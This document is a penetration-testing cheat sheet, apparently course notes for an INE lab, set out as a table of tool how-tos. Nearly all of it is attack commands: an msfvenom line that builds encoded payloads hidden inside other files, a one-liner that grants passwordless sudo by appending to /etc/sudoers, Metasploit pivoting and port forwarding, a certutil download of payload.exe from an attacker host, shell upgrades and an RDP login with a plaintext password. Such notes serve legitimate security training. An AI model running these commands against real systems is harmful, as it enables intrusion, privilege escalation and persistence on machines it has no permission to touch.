

Extra Notes – Tools	
Subject	How-To
NMAP	<p>To import NMAP scans (XML Format   -oX) to MSF {CMD}</p> <ul style="list-style-type: none"> <li>• service postgresql start</li> <li>• db_status</li> <li>• workspace -a {workspace_name}</li> <li>• db_import {DB_Path}</li> <li>• hosts / services / loot / creds / analyze / vulns / jobs / analyze</li> </ul> <p>To directly scan through MSF and auto add to DB</p> <ul style="list-style-type: none"> <li>• db_nmap {Nmap Args} {Target IP}</li> </ul> <p>NMAP Scripts location: /usr/share/nmap/scripts/</p> <p>Fast UDP port scan on top ports: nmap -sU --top-ports 25 {TARGET}</p> <p>NMAP Banner grab: --script=banner</p>
MSF Venom Payload Builder	<pre>msfvenom -p {Payload} LHOST={IP} LPORT={Port} -e {Encoder} -i 10 -f {FileType} -x {fileToHideIn} &gt; {Path/Filename.type}</pre>
No Nano or VIM	<pre>printf '#!/bin/bash\n echo "student ALL=NOPASSWD:ALL" &gt;&gt; /etc/sudoers' &gt; /usr/local/share/copy.sh</pre>
Proxychain Pivoting MSF + Proxychains	<ul style="list-style-type: none"> <li>• run autoroute -s {IP/SUBNET}</li> <li>• cat /etc/proxychains4.conf</li> <li>• use auxiliary/server/socks_proxy</li> <li>• set SRVPORT 9050</li> <li>• set VERSION 4a</li> <li>• run</li> <li>• jobs</li> <li>• proxychains nmap demo1.ine.local -sT -Pn -sV</li> </ul>
MSF Port Forward Pivoting	<ul style="list-style-type: none"> <li>• run autoroute -s {IP/SUBNET}</li> <li>• portfwd add -l {LocalPort} -p {VictimPort} -r {VictimIP}</li> <li>• nmap {Params} -p {LocalPort} localhost</li> </ul>
MSF Resources Script	<pre>msfconsole -r script_name.rc</pre>
Remote Download	<pre>certutil -urlcache -f http://{IP}/payload.exe payload.exe (Or use curl -O)</pre>
RDP Connection	<pre>xfreerdp /u: administrator /p: hacker_123321 /v: 10.2.19.254</pre>
Upgrade Non-Interactive Shell	<ul style="list-style-type: none"> <li>• cat /etc/shells</li> <li>• /bin/bash -i</li> <li>• /bin/sh -i</li> <li>• python -c 'import pty; pty.spawn("/bin/bash")'</li> <li>• perl -e 'exec "/bin/bash";'</li> <li>• ruby: exec "/bin/bash"</li> </ul>
Rockyou wordlist	<ul style="list-style-type: none"> <li>• gzip -d /usr/share/wordlists/rockyou.txt.gz</li> </ul>